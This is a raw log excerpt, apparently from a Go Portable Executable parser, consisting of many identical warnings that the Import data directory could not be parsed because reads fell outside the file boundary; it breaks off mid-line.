level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading 